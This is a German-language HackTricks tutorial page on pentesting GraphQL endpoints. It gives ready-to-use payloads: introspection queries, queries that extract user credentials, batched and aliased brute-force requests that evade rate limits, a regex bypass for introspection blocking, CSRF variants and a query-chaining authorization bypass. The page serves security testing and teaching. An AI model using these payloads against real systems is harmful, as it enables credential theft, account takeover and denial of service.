Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-18 17:16:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/graphql.md

29 KiB
Raw Blame History

GraphQL

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Einführung

GraphQL wird als effiziente Alternative zu REST-APIs hervorgehoben und bietet einen vereinfachten Ansatz zum Abfragen von Daten vom Backend. Im Gegensatz zu REST, bei dem oft zahlreiche Anfragen an verschiedene Endpunkte gestellt werden müssen, um Daten zu sammeln, ermöglicht GraphQL das Abrufen aller erforderlichen Informationen durch eine einzige Anfrage. Diese Vereinfachung kommt den Entwicklern erheblich zugute, da sie die Komplexität ihrer Datenabrufprozesse verringert.

GraphQL und Sicherheit

Mit dem Aufkommen neuer Technologien, einschließlich GraphQL, entstehen auch neue Sicherheitslücken. Ein wichtiger Punkt ist, dass GraphQL standardmäßig keine Authentifizierungsmechanismen enthält. Es liegt in der Verantwortung der Entwickler, solche Sicherheitsmaßnahmen zu implementieren. Ohne ordnungsgemäße Authentifizierung können GraphQL-Endpunkte sensible Informationen für nicht authentifizierte Benutzer freigeben und somit ein erhebliches Sicherheitsrisiko darstellen.

Verzeichnis-Brute-Force-Angriffe und GraphQL

Zur Identifizierung von freiliegenden GraphQL-Instanzen wird die Einbeziehung spezifischer Pfade in Verzeichnis-Brute-Force-Angriffen empfohlen. Diese Pfade sind:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung unterstützter Abfragen. Dies ist entscheidend, um die über den Endpunkt zugänglichen Daten zu verstehen. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert auflistet, die ein Schema unterstützt. Für weitere Informationen hierzu siehe die GraphQL-Dokumentation zur Introspektion: GraphQL: Eine Abfragesprache für APIs.

Fingerabdruck

Das Tool graphw00f ist in der Lage zu erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und liefert dann einige hilfreiche Informationen für den Sicherheitsprüfer.

Universelle Abfragen

Um zu überprüfen, ob eine URL ein GraphQL-Dienst ist, kann eine universelle Abfrage, query{__typename}, gesendet werden. Wenn die Antwort {"data": {"__typename": "Query"}} enthält, bestätigt dies, dass die URL einen GraphQL-Endpunkt hostet. Diese Methode basiert auf dem Feld __typename von GraphQL, das den Typ des abgefragten Objekts offenbart.

query{__typename}

Grundlegende Aufzählung

Graphql unterstützt in der Regel GET, POST (x-www-form-urlencoded) und POST(json). Obwohl es aus Sicherheitsgründen empfohlen wird, nur json zuzulassen, um CSRF-Angriffe zu verhindern.

Introspektion

Um die Schema-Informationen mithilfe der Introspektion zu entdecken, abfragen Sie das __schema-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.

query={__schema{types{name,fields{name}}}}

Mit dieser Abfrage finden Sie den Namen aller verwendeten Typen:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Mit dieser Abfrage können Sie alle Typen, deren Felder und Argumente (und den Typ der Argumente) extrahieren. Dies ist sehr nützlich, um zu wissen, wie die Datenbank abgefragt werden kann.

Fehler

Es ist interessant zu wissen, ob die Fehler angezeigt werden, da sie nützliche Informationen liefern werden.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Datenbank-Schema über Introspektion aufzählen

{% hint style="info" %} Wenn die Introspektion aktiviert ist, aber die obige Abfrage nicht ausgeführt wird, versuchen Sie, die Direktiven onOperation, onFragment und onField aus der Abfragestruktur zu entfernen. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Inline Inspektionsabfrage:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Die letzte Codezeile ist eine GraphQL-Abfrage, die alle Metainformationen aus dem GraphQL (Objektnamen, Parameter, Typen...) ausgibt.

Wenn die Introspektion aktiviert ist, können Sie GraphQL Voyager verwenden, um in einer GUI alle Optionen anzuzeigen.

Abfragen

Nun, da wir wissen, welche Art von Informationen in der Datenbank gespeichert sind, versuchen wir, einige Werte abzurufen.

In der Introspektion können Sie herausfinden, welches Objekt Sie direkt abfragen können (weil Sie ein Objekt nicht einfach abfragen können, nur weil es existiert). Im folgenden Bild sehen Sie, dass der "queryType" "Query" genannt wird und dass eines der Felder des "Query"-Objekts "flags" ist, das auch ein Objekttyp ist. Daher können Sie das Flag-Objekt abfragen.

Beachten Sie, dass der Typ der Abfrage "flags" "Flags" ist, und dieses Objekt wie folgt definiert ist:

Sie sehen, dass die "Flags"-Objekte aus Name und Wert bestehen. Dann können Sie alle Namen und Werte der Flags mit der Abfrage erhalten:

query={flags{name, value}}

Beachten Sie, dass im Falle des abzufragenden Objekts ein primitiver Typ wie String ist, wie im folgenden Beispiel

Sie können es einfach abfragen mit:

query={hiddenFlags}

In einem anderen Beispiel, in dem sich 2 Objekte innerhalb des "Query"-Typobjekts befanden: "user" und "users".
Wenn diese Objekte keine Argumente zum Suchen benötigen, könnten Sie alle Informationen von ihnen abrufen, indem Sie einfach nach den Daten fragen, die Sie möchten. In diesem Beispiel aus dem Internet könnten Sie Benutzernamen und Passwörter extrahieren:

Jedoch erhalten Sie in diesem Beispiel bei dem Versuch, dies zu tun, diesen Fehler:

Es scheint, dass auf irgendeine Weise nach dem "uid"-Argument vom Typ Int gesucht wird.
Wie auch immer, wir wussten bereits, dass in der Grundlegenden Aufzählung ein Abfrage vorgeschlagen wurde, die uns alle benötigten Informationen zeigte: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Wenn Sie das bereitgestellte Bild lesen, sehen Sie, dass "user" das Arg "uid" vom Typ Int hatte.

Daher habe ich durch Ausführen eines leichten uid-Bruteforces herausgefunden, dass bei uid=1 ein Benutzername und ein Passwort abgerufen wurden:
query={user(uid:1){user,password}}

Beachten Sie, dass ich herausgefunden habe, dass ich nach den Parametern "user" und "password" fragen konnte, denn wenn ich nach etwas suche, das nicht existiert (query={user(uid:1){noExists}}), erhalte ich diesen Fehler:

Und während der Aufzählungsphase habe ich herausgefunden, dass das "dbuser"-Objekt die Felder "user" und "password hatte.

Abfragezeichenfolgen-Dump-Trick (Dank an @BinaryShadow_)

Wenn Sie nach einem String-Typ suchen können, wie z. B.: query={theusers(description: ""){username,password}} und Sie nach einem leeren String suchen, werden alle Daten ausgegeben. (Beachten Sie, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt. Nehmen Sie für dieses Beispiel an, dass Sie mit "theusers" nach einem String-Feld namens "description" suchen können").

Suche

In dieser Konfiguration enthält eine Datenbank Personen und Filme. Personen werden anhand ihrer E-Mail und ihres Namens identifiziert; Filme anhand ihres Namens und ihrer Bewertung. Personen können miteinander befreundet sein und haben auch Filme, was auf Beziehungen innerhalb der Datenbank hinweist.

Sie können Personen nach dem Namen suchen und ihre E-Mails erhalten:

{
searchPerson(name: "John Doe") {
email
}
}

Sie können Personen nach dem Namen suchen und ihre abonnierten Filme erhalten:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Beachten Sie, wie angegeben ist, den name der subscribedMovies der Person abzurufen.

Sie können auch mehrere Objekte gleichzeitig suchen. In diesem Fall wird eine Suche nach 2 Filmen durchgeführt:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Oder sogar Beziehungen mehrerer verschiedener Objekte unter Verwendung von Aliassen:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutationen

Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.

In der Introspektion können die deklarierten Mutationen gefunden werden. Im folgenden Bild wird der "MutationType" als "Mutation" bezeichnet und das "Mutation"-Objekt enthält die Namen der Mutationen (wie "addPerson" in diesem Fall):

In diesem Setup enthält eine Datenbank Personen und Filme. Personen werden anhand ihrer E-Mail und ihres Namens identifiziert; Filme anhand ihres Namens und ihrer Bewertung. Personen können miteinander befreundet sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.

Eine Mutation zum Erstellen neuer Filme in der Datenbank könnte wie folgt aussehen (in diesem Beispiel wird die Mutation addMovie genannt):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.

Zusätzlich unterstützt die Datenbank eine Mutation-Operation namens addPerson, die die Erstellung von Personen zusammen mit ihren Verknüpfungen zu vorhandenen Freunden und Filmen ermöglicht. Es ist entscheidend zu beachten, dass die Freunde und Filme vor dem Verknüpfen mit der neu erstellten Person bereits in der Datenbank vorhanden sein müssen.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Direktivenüberlastung

Wie in einer der Schwachstellen, die in diesem Bericht beschrieben sind erklärt, bedeutet eine Direktivenüberlastung, eine Direktive sogar Millionen Mal aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn zu DoS-en.

Batch-Brute-Force in 1 API-Anfrage

Diese Information stammt von https://lab.wallarm.com/graphql-batching-attack/.
Authentifizierung über GraphQL-API durch gleichzeitiges Senden vieler Abfragen mit verschiedenen Anmeldeinformationen zur Überprüfung. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, aufgrund der GraphQL-Batch-Funktion. Dieser Ansatz würde externe Rate-Monitoring-Anwendungen dazu bringen, zu glauben, dass alles in Ordnung ist und es keinen Brute-Force-Bot gibt, der versucht, Passwörter zu erraten.

Im Folgenden finden Sie die einfachste Demonstration einer Authentifizierungsanfrage der Anwendung, mit 3 verschiedenen E-Mail/Passwort-Paaren gleichzeitig. Offensichtlich ist es möglich, auf die gleiche Weise Tausende in einer einzigen Anfrage zu senden:

Wie aus dem Antwort-Screenshot ersichtlich ist, haben die ersten und dritten Anfragen null zurückgegeben und die entsprechenden Informationen im error-Abschnitt reflektiert. Die zweite Mutation enthielt die korrekten Authentifizierungsdaten und die Antwort enthielt das korrekte Authentifizierungssitzungstoken.

GraphQL Ohne Introspektion

Immer mehr GraphQL-Endpunkte deaktivieren die Introspektion. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, reichen jedoch aus, damit Tools wie clairvoyance den Großteil des Schemas rekonstruieren können.

Darüber hinaus beobachtet die Burp Suite-Erweiterung GraphQuail GraphQL-API-Anfragen, die durch Burp gehen und erstellt ein internes GraphQL-Schema mit jeder neuen Abfrage, die es sieht. Es kann auch das Schema für GraphiQL und Voyager freigeben. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsabfrage erhält. Als Ergebnis zeigt GraphQuail alle Abfragen, Argumente und Felder, die innerhalb der API verwendet werden können. Für weitere Informationen überprüfen Sie dies.

Eine schöne Wortliste zur Entdeckung von GraphQL-Entitäten finden Sie hier.

Umgehung von GraphQL-Introspektionsabwehr

Umgehung von GraphQL-Introspektionsabwehr

Um Beschränkungen bei Introspektionsabfragen in APIs zu umgehen, erweist sich das Einfügen eines Sonderzeichens nach dem __schema-Schlüsselwort als wirksam. Diese Methode nutzt häufige Entwicklerfehler in Regex-Mustern aus, die darauf abzielen, die Introspektion durch Fokussierung auf das __schema-Schlüsselwort zu blockieren. Durch das Hinzufügen von Zeichen wie Leerzeichen, Zeilenumbrüche und Kommas, die von GraphQL ignoriert werden, aber möglicherweise nicht in Regex berücksichtigt werden, können Beschränkungen umgangen werden. Beispielsweise kann eine Introspektionsabfrage mit einem Zeilenumbruch nach __schema solche Abwehrmechanismen umgehen:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Wenn dies nicht erfolgreich ist, sollten alternative Anfragemethoden in Betracht gezogen werden, wie z. B. GET-Anfragen oder POST mit x-www-form-urlencoded, da Einschränkungen möglicherweise nur für POST-Anfragen gelten.

Aufdecken von freigelegten GraphQL-Strukturen

Wenn die Introspektion deaktiviert ist, ist die Untersuchung des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können mithilfe des Quellen-Tabs in den Entwicklertools gefunden werden und Einblicke in das API-Schema bieten sowie potenziell sensible freigelegte Abfragen aufdecken. Die Befehle zum Suchen in den Entwicklertools sind:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

Wenn Sie nicht wissen, was CSRF ist, lesen Sie die folgende Seite:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Draußen werden Sie mehrere GraphQL-Endpunkte finden, die ohne CSRF-Token konfiguriert sind.

Beachten Sie, dass GraphQL-Anfragen normalerweise über POST-Anfragen mit dem Content-Type application/json gesendet werden.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Jedoch unterstützen die meisten GraphQL-Endpunkte auch form-urlencoded POST-Anfragen:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Daher ist es möglich, Änderungen im GraphQL vorzunehmen, indem CSRF-Anfragen wie die vorherigen ohne Vorabprüfungsanfragen gesendet werden.

Beachten Sie jedoch, dass der neue Standard-Cookie-Wert des samesite-Flags von Chrome Lax ist. Dies bedeutet, dass das Cookie nur von einer Drittanbieter-Website in GET-Anfragen gesendet wird.

Es ist in der Regel möglich, die Abfrageanfrage auch als GET-Anfrage zu senden, und das CSRF-Token wird möglicherweise nicht in einer GET-Anfrage validiert.

Durch die Ausnutzung eines XS-Search-Angriffs könnte es möglich sein, Inhalte aus dem GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.

Für weitere Informationen überprüfen Sie den Originalbeitrag hier.

Autorisierung in GraphQL

Viele in dem Endpunkt definierte GraphQL-Funktionen überprüfen möglicherweise nur die Authentifizierung des Anfragenden, jedoch nicht die Autorisierung.

Das Ändern von Abfrageeingabevariablen könnte zu sensiblen Kontodetails führen, die offengelegt werden.

Mutationen könnten sogar zu Account-Übernahmen führen, wenn versucht wird, Daten eines anderen Kontos zu ändern.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Umgehung der Autorisierung in GraphQL

Das Verketten von Abfragen kann ein schwaches Authentifizierungssystem umgehen.

Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und dass nur die damit verbundene forgotPassword-Abfrage ausgeführt werden sollte. Dies kann umgangen werden, indem am Ende eine weitere Abfrage hinzugefügt wird. In diesem Fall fügen wir "register" hinzu und eine Benutzervariable, damit sich das System als neuer Benutzer registriert.

Umgehung von Rate Limits unter Verwendung von Aliassen in GraphQL

In GraphQL sind Aliasse ein leistungsstarkes Feature, das es ermöglicht, Eigenschaften explizit zu benennen, wenn eine API-Anfrage gestellt wird. Diese Funktion ist besonders nützlich, um mehrere Instanzen desselben Objekttyps innerhalb einer einzigen Anfrage abzurufen. Aliasse können eingesetzt werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.

Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: Aliasse.

Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, da einige Endpunkte durch Rate-Limiter geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu vereiteln, indem sie die Anzahl der HTTP-Anfragen beschränken. Diese Rate-Limiter berücksichtigen möglicherweise jedoch nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse das Einbeziehen mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Rate-Limiting-Maßnahmen umgehen.

Betrachten Sie das untenstehende Beispiel, das veranschaulicht, wie aliased Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte das Rate Limiting umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst und somit die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Werkzeuge

Schwachstellen-Scanner

Clients

Automatische Tests

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: